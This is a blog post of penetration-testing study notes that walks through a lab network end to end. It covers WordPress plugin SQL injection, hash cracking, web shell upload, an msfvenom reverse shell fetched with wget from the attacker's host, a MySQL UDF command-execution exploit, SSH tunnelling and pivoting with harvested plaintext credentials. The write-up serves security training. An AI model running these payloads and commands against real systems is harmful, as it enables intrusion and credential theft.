Study Notes - 2021/07/11

Penetration Example

Add host name (Optional)

Enumeration

nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ sudo nmap -sC -sS -p0-65535 sandbox.local
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-11 12:49 EDT
Nmap scan report for sandbox.local (10.11.1.250)
Host is up (0.025s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 86:8f:89:36:79:2f:44:b2:61:18:a4:fb:d5:a1:f3:43 (RSA)
| 256 de:f3:84:f1:cd:f3:c8:9a:30:6d:60:e8:b1:1d:99:27 (ECDSA)
|_ 256 14:6a:ba:77:e0:57:e5:0c:c0:cc:76:31:91:8d:dd:9f (ED25519)
80/tcp open http
|_http-generator: WordPress 5.3
|_http-title: SandBox – See the future, Feel the shine

Nmap done: 1 IP address (1 host up) scanned in 126.77 seconds

autorecon: autorecon -t target.txt

targeting the web application

nmap scan indicate the webpage generated by wordpress5.3, looking for themes and plugins, may become our target.

Perform a basic directory brute force to discover any sensitive files and confirm it is actually wordpress.

autorecon results are stored in “resutls/scan/tcp_80_http_feroxbuster.txt”, autorecon uses feroxbuster
Some common wordpress directory in the target:

1
2
3
4
5
6
7
8
9
10
11
301        9l       28w      317c http://sandbox.local/wp-admin
301 9l 28w 319c http://sandbox.local/wp-content
200 0l 0w 0c http://sandbox.local/wp-blog-header.php
200 0l 0w 0c http://sandbox.local/wp-config.php
301 9l 28w 320c http://sandbox.local/wp-includes
200 0l 0w 0c http://sandbox.local/wp-cron.php
200 11l 23w 220c http://sandbox.local/wp-links-opml.php
200 0l 0w 0c http://sandbox.local/wp-load.php
200 91l 324w 4874c http://sandbox.local/wp-login.php
403 121l 315w 2709c http://sandbox.local/wp-mail.php
302 0l 0w 0c http://sandbox.local/wp-signup.php

the tutorial uses dirb:

1
2
3
4
dirb http://sandbox.local
==> DIRECTORY: http://sandbox.local/wp-admin/
==> DIRECTORY: http://sandbox.local/wp-content/
==> DIRECTORY: http://sandbox.local/wp-includes/

dirb seems did some recursive search under each directory

use wp scan for wordpress vul scan:

1
wpscan --url sandbox.local --enumerate ap,at,cb,dbe -o wpscan.txt -f cli-no-color

(–enumerate) to include “All Plugins” (ap), “All Themes” (at), “Config backups” (cb), and “Db exports” (dbe).

Found some plugins

1
2
3
elementor
ocean-extra
wp-survey-and-poll

Use searchsploit to search for vulns, first search their name, but nonthing found

search for survey and poll

1
2
3
4
5
6
7
8
searchsploit wordpress survey poll
------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------ ---------------------------------
WordPress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injecti | php/webapps/45411.txt
WordPress Plugin Survey and Poll 1.1 - Blind SQL Injection | php/webapps/36054.txt
------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

wpscan indicate the plugin version could be 1.5.7.3

look at its description:

1
2
less /usr/share/exploitdb/exploits/php/webapps/45411.txt
["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]

Use burpsuite to intercept the communication

Use burpsuite repeater,
proxy->http_history->find the request->send to repeater

replace the cookie with:

1
["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]

and send to the server,
find db version: 10.3.20-MariaDB

get a list of table:

1
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,table_name,11 FROM information_schema.tables#"]

find an interesting table: wp_users
find its coloums:

1
["16232480')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,column_name,11 FROM information_schema.columns where table_name='wp_users'#"];
1
[\"ID\"],[\"user_login\"],[\"user_pass\"],[\"user_nicename\"],[\"user_email\"],[\"user_url\"],[\"user_registered\"],[\"user_activation_key\"],[\"user_status\"],[\"display_name\"]]}

get login name:

1
["16232480')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_login,11 FROM wp_users#"];

wp_ajla_admin
get password:

1
["16232480')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_pass,11 FROM wp_users where user_login='wp_ajla_admin'#"];

the result is hash:

1
2
[\"$P$BfBIi66MsPQgzmvYsUzwjc5vSx9L6i\\\/\"]
$P$BfBIi66MsPQgzmvYsUzwjc5vSx9L6i/

it uses three \\\ to escape a single /

cracking the password from hash, use the rockyou wordlist:

1
2
3
4
5
6
7
8
9
10
11
12
13
echo '$P$BfBIi66MsPQgzmvYsUzwjc5vSx9L6i/' > pass.txt

john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!love29jan2006! (?)
1g 0:00:19:52 DONE (2021-07-11 15:22) 0.000838g/s 12018p/s 12018c/s 12018C/s !luv2:P..!lilkilla!
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed

Login the wp page with password: wp_ajla_admin/!love29jan2006!
http://sandbox.local/wp-admin

Enumerating the admin interface

For wordpress, look at the info tag: tool->site_health->info

1
2
3
4
5
6
7
8
9
10
11
Server:
Server architecture Linux 4.4.0-21-generic x86_64
Web server Apache/2.4.18 (Ubuntu)
PHP version 7.0.33-0ubuntu0.16.04.7 (Supports 64bit values)

Database:
Extension mysqli
Server version 10.3.20-MariaDB
Client version mysqlnd 5.0.12-dev - 20150407 - $Id: b5c5906d452ec590732a93b051f3827e02749b83 $
Database user wp
Database host 10.5.5.11

Database in running on 10.5.5.11, different from what we are targeting. 10.11.1.250

we can install our own plugins, there are some malicious wordpress plugins

in secliscd /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php

upload plugin and get error:

1
The package could not be installed. PCLZIP_ERR_BAD_FORMAT (-10) : Unable to find End of Central Dir Record signature

Search online, and find that I need to pack the php file to zip

1
zip bad_plugin.zip /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php

then upload

fatal error when try to activate:

1
Plugin could not be activated because it triggered a fatal error.

it dont need to be activate

test:

1
http://sandbox.local/wp-content/plugins/bad_plugin/plugin-shell.php?cmd=id

ok, it works, then we tries to generate a reverse shell

1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.119.165 LPORT=443 -f elf > shell.elf

we know the target is a linux machine, we use LPORT=443 to evade any outbound firewall rules

then upload the shell to that machine, create a python sever at current directory

1
sudo python3 -m http.server 80

download the shell binary

1
curl http://sandbox.local/wp-content/plugins/bad_plugin/plugin-shell.php?cmd=wget%20http://192.168.119.165/shell.elf

use %20 to replace space in url

start a listening port

1
2
3
4
5
kali@kali:~$ sudo msfconsole -q -x "use exploit/multi/handler;\
> set PAYLOAD linux/x86/meterpreter/reverse_tcp;\
> set LHOST 192.168.119.165;\
> set LPORT 443;\
> run"

execute the reverse shell, first check the permission

1
2
3
curl http://sandbox.local/wp-content/plugins/bad_plugin/plugin-shell.php?cmd=ls%20-l%20shell.elf
# change the permission
curl http://sandbox.local/wp-content/plugins/bad_plugin/plugin-shell.php?cmd=chmod%20777%20shell.elf

run

1
curl http://sandbox.local/wp-content/plugins/bad_plugin/plugin-shell.php?cmd=./shell.elf

in meterpreter, can goto regular shell use shell

Post-Exploitation Enumeration

gather some information such as network config, hostname, os version and kernel info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ifconfig
ens160 Link encap:Ethernet HWaddr 00:50:56:bf:19:da
inet addr:10.4.4.10 Bcast:10.4.4.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:febf:19da/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:158345 errors:0 dropped:240 overruns:0 frame:0
TX packets:169172 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:122457155 (122.4 MB) TX bytes:68118761 (68.1 MB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:732 errors:0 dropped:0 overruns:0 frame:0
TX packets:732 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:67520 (67.5 KB) TX bytes:67520 (67.5 KB)

hostname
ajla

uname -a
Linux ajla 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/issue
Ubuntu 16.04 LTS \n \l

cat /proc/version
Linux version 4.4.0-21-generic (buildd@lgw01-21) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016

find database credentials in the configuration file: wp-config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwd
/var/www/html

cat wp-config.php
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wp' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Lv9EVQq86cfi8ioWsqFUQyU' );

/** MySQL hostname */
define( 'DB_HOST', '10.5.5.11' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'WP_HTTP_BLOCK_EXTERNAL', true );

Creating a stable pivot point

when then try to login to the internal network, e.g. the database server 10.5.5.11
since we do not have root access to create ssh server, we should use reverse ssh tunneling

first we need to know which port is running the database server

create a quick portscan script

1
2
3
4
5
6
7
#!/bin/bash
host=10.5.5.11
for port in {1..65535}; do
timeout .1 bash -c "echo >/dev/tcp/$host/$port" &&
echo "port $port is open"
done
echo "Done"

upload the script use meterpreter:

1
2
3
4
5
upload ~/script/portscan.sh /tmp/portscan.sh 

chmod +x portscan.sh
./portscan.sh
port 3306 is open

default mariadb port is also 3306

1
ssh -R 1122:10.5.5.11:22 -R 13306:10.5.5.11:3306 kali@192.168.119.165

but it will prompt us for 1. accept hostkey, 2. password

1
ssh -R 1122:10.5.5.11:22 -R 13306:10.5.5.11:3306 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" kali@192.168.119.165

UserKnownHostsFile do not save host keys
StrictHostKeyChecking do not prompt

to avoid the prompt for password, we generate ssh key on target machine

1
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBK2RDq8McGN6Av2gpVYvS6nwi6r10XFYVQsQAxQLDwaprw4pJObKgcpgXkgj48cSLCJ8473Jv3y8FUpqgN8sX3EJseG43ni45kP/i3yQJ7sTmbG6/ZsIdxZM4dC9oK9JbHTnko/8d24lJMxAGwvskjFpCRjcBu1OVUmRziWFTG5v6zVaebvFt2DlP3XaDPZysZg4+Xh5iS+/T73aarEJbLz5EEz7Nnq06bHvMOn/hQqqiIZ6jgHVzSMu7eolt1hh7+CsCjaNctURir4JRCAMjEWmpQ+xy39b6PmqDLbJfKon68Xv685fB6d+O2vJr/lO8KaKEnhEUwRw5GwN45hRT www-data@ajla

in kali’s authorized_keys

1
2
from="10.11.1.250",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDBK2RDq8McGN6Av2gpVYvS6nwi6r10XFYVQsQAxQLDwaprw4pJObKgcpgXkgj48cSLCJ8473Jv3y8FUpqgN8sX3EJseG43ni45kP/i3yQJ7sTmbG6/ZsIdxZM4dC9oK9JbHTnko/8d24lJMxAGwvskjFpCRjcBu1OVUmRziWFTG5v6zVaebvFt2DlP3XaDPZysZg4+Xh5iS+/T73aarEJbLz5EEz7Nnq06bHvMOn/hQqqiIZ6jgHVzSMu7eolt1hh7+CsCjaNctURir4JRCAMjEWmpQ+xy39b6PmqDLbJfKon68Xv685fB6d+O2vJr/lO8KaKEnhEUwRw5GwN45hRT www-data@ajla

in shell:

1
ssh -f -N -R 1122:10.5.5.11:22 -R 13306:10.5.5.11:3306 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /tmp/keys/id_rsa kali@192.168.119.165

-f run in background

Targeting the database

1
2
mysql --host=127.0.0.1 --port=13306 --user=wp -p 
Lv9EVQq86cfi8ioWsqFUQyU

look at what privilege we have:

1
2
3
SHOW Grants;
GRANT USAGE ON *.* TO 'wp'@'%' IDENTIFIED BY PASSWORD '*61163AE4B131AB0E43F07BE7B' |
GRANT SELECT, INSERT, UPDATE, DELETE ON `wordpress`.* TO 'wp'@'%'
1
2
3
4
5
6
7
8
MariaDB [(none)]> select @@hostname, @@tmpdir, @@version, @@version_compile_machine, @@plugin_dir;
+------------+----------+-----------------+---------------------------+-------------------+
| @@hostname | @@tmpdir | @@version | @@version_compile_machine | @@plugin_dir |
+------------+----------+-----------------+---------------------------+-------------------+
| zora | /var/tmp | 10.3.20-MariaDB | x86_64 | /home/dev/plugin/ |
+------------+----------+-----------------+---------------------------+-------------------+
1 row in set (0.026 sec)

1
searchsploit maria

non of the exploit work for current version of maria

search for more generic mysql exploit, since maria is built on mysql

1
searchsploit mysql

UDF user-defined function show up often???? how did you get here?

find an interesting github repo:

1
git clone https://github.com/mysqludf/lib_mysqludf_sys.git

to compile, install some packages:

1
sudo apt update && sudo apt install default-libmysqlclient-dev libmariadbd-dev

modify make file, to make it include maria’s header file. hmmmm..

output so to shellcode:

1
xxd -p lib_mysqludf_sys.so | tr -d '\n' > lib_mysqludf_sys.so.hex

tr -d delete;
xxd dump to hex

1
2
3
4
mariadb> set @shell=0x7abf.....;
select @@plugin_dir;
select binary @shell into dumpfile '/home/dev/plugin/udf_sys_exec.so';

We get error since wp does not have permission to write file

go back to ajla to see if we can find root credentials

Deeper Enumeration of the Web Application Server

1
searchsploit ubuntu 16.04

find a good local privelege escalation script
compile locally and upload to ajla, we get the root

then we add our ssh pubkey to root

then we can ssh root@sandbox.local to the ajla

search for DB credentials

inspect .bash_history, find:
mysql -u root -pBmDu9xUHKe3fZi3Z7RdMBeb -h 10.5.5.11 -e 'DROP DATABASE wordpress;'

Targeting the database again

1
2
3
4
5
6
mysql --host=127.0.0.1 --port=13306 --user=root -pBmDu9xUHKe3fZi3Z7RdMBeb
mariadb> set @shell=0x7abf.....;
select @@plugin_dir;
select binary @shell into dumpfile '/home/dev/plugin/udf_sys_exec.so';
create function sys_exec returns int soname 'udf_sys_exec.so';
select * from mysql.func where name='sys_exec';

test to see if we can make network call from zora to kali

1
kali> sudo python3 -m http.server 80

let zora grab our shell.elf

1
2
select sys_exec('wget http://192.168.119.165/shell.elf');
select sys_exec('chmod +x ./shell.elf');

make sure metasploit is ready for the connection

1
2
3
4
5
6
exit # exit root shell
exit # exit shell
exit
run

select sys_exec('./shell.elf');

get the shell of mysql user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cat /etc/issue # get linux version
Alpine Linux 3.10

cat /proc/version # get kernel version
Linux version 4.19.78-0-virt (buildozer@build-3-10-x86_64) (gcc version 8.3.0 (Alpine 8.3.0)) #1-Alpine SMP Thu Oct 10 15:25:30 UTC 2019

uname -a
linux zora 4.19.78-0-virt #1-Alpine SMP Thu Oct 10 15:25:30 UTC 2019 x86_64 Linux

env

ps ux

netstat -tulpn

cat /etc/fstab

UUID=ede2f74e-f23a-441c-b9cb-156494837ef3 / ext4 rw,relatime 0 1
UUID=8e53ca17-9437-4f54-953c-0093ce5066f2 /boot ext4 rw,relatime 0 2
UUID=ed8db3c1-a3c8-45fb-b5ec-f8e1529a8046 swap swap defaults 0 0
/dev/cdrom /media/cdrom iso9660 noauto,ro 0 0
/dev/usbdisk /media/usb vfat noauto 0 0
//10.5.5.20/Scripts /mnt/scripts cifs uid=0,gid=0,username=,password=,_netdev 0 0

The contents of /etc/fstab are interesting. A share is mounted from the 10.5.5.20 host. Let’s poke
around the scripts share and see what we find.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cd /mnt/scripts

cat system_report.ps1
# find a better way to automate this
$username = "sandbox\alex"
$pwdTxt = "Ndawc*nRoqkC+haZ"
$securePwd = $pwdTxt | ConvertTo-SecureString
$credObject = New-Object System.Management.Automation.PSCredential -ArgumentList $username, $securePwd

# Enable remote management on Poultry
$remoteKeyParams = @{
ComputerName = "POULTRY"
Path = 'HKLM:\SOFTWARE\Microsoft\WebManagement\Server'
Name = 'EnableRemoteManagement'
Value = '1'
}
Set-RemoteRegistryValue @remoteKeyParams -Credential $credObject

Create a stable reverse tunnel

1
2
3
4
5
ssh-keygen
/var/lib/mysql/.ssh/id_rsa

from="10.11.1.250",command="echo 'This account can only be used for port
forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBVu1YocyTb1VTj7tkgBdqpqU/YQoKSTEC3btRPoWDs8s4oCkYNU4nuehdUn8NFeBPSABqrPq7oBu20jJVD+BWdsXUVkTqCeQr4iz1owud1GsE7QbkHiWXmkNjLqzDTnJqL9Tp1cSdIx7Ekwc9ETtQlmAaR3YRA0Ryd2JR1Mv8edE43Fhh9LGVeW/97hI6DeYOvA3+bODxd9hkqwnOyDqB5RzMEcu6q98sysp31QbiJ17LH1Rr5fkdUUmVZtdwlByu8heB5UrDW1UJUa0GoHmh/nzwxD6+9eazK/XNGp6/pOPhd2zag99IMMtTkypx6mguFYy3mIgkI/h5C46xJTOUz/xQ2LwGb8+PWmBXHDcnbL85y4p1yyoUM5oBd+Fb6DThYnKmwVtvUb0VrEcN03JZ9QepkvdE84eUzqBdbWBjTzhgHTLFRJeMQM2sUt7vBcOB2XmuTk3md/O8V7wQuSgXDk8vyz4h/iSCu8UaLJx0CnJ5AdtIUeIBzgFWf1hJnWE= mysql@zora

Dynamic port forwarding

1
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /var/lib/mysql/.ssh/id_rsa kali@192.168.119.165

add to /etc/proxychains4.conf

1
socks4 127.0.0.1 1080

Targeting Poultry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
proxychains nmap --top-ports=20 -sT -Pn 10.5.5.20
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
25/tcp closed smtp
53/tcp closed domain
80/tcp closed http
110/tcp closed pop3
111/tcp closed rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
143/tcp closed imap
443/tcp closed https
445/tcp open microsoft-ds
993/tcp closed imaps
995/tcp closed pop3s
1723/tcp closed pptp
3306/tcp closed mysql
3389/tcp open ms-wbt-server
5900/tcp closed vnc
8080/tcp closed http-proxy

-sT TCP connect
-Pn no ping

port 3389 ms-wbt-server is the rdp server

login with the credential we have

1
proxychains xfreerdp /d:sandbox /u:alex /v:10.5.5.20 +clipboard

/d: domain
/u: user
/v: server host

let me try rdesktop first

1
2
proxychains rdesktop 10.5.5.20 -d sandbox -u alex -p 'Ndawc*nRoqkC+haZ' -g 1024x768 -r clipboard:PRIMARYCLIPBOARD

1
2
3
4
5
6
7
8
9
10
11
C:\Users\alex>systeminfo
Host Name: POULTRY
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
...
Registered Owner: poultryadmin
...
Domain: sandbox.local

netstat -ano

nothing interesting for the opening port, Ports 49152 and above
are the Windows default dynamic/ephemeral ports for establishing TCP connections and we
don’t need to worry about them

check if alex is in admin group

1
2

Global Group memberships *Domain Users

it is a regular domain user

Author: Gavin Cui
Link: https://gavincrz.github.io/2021/07/11/Study-Notes-2021-07-11/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.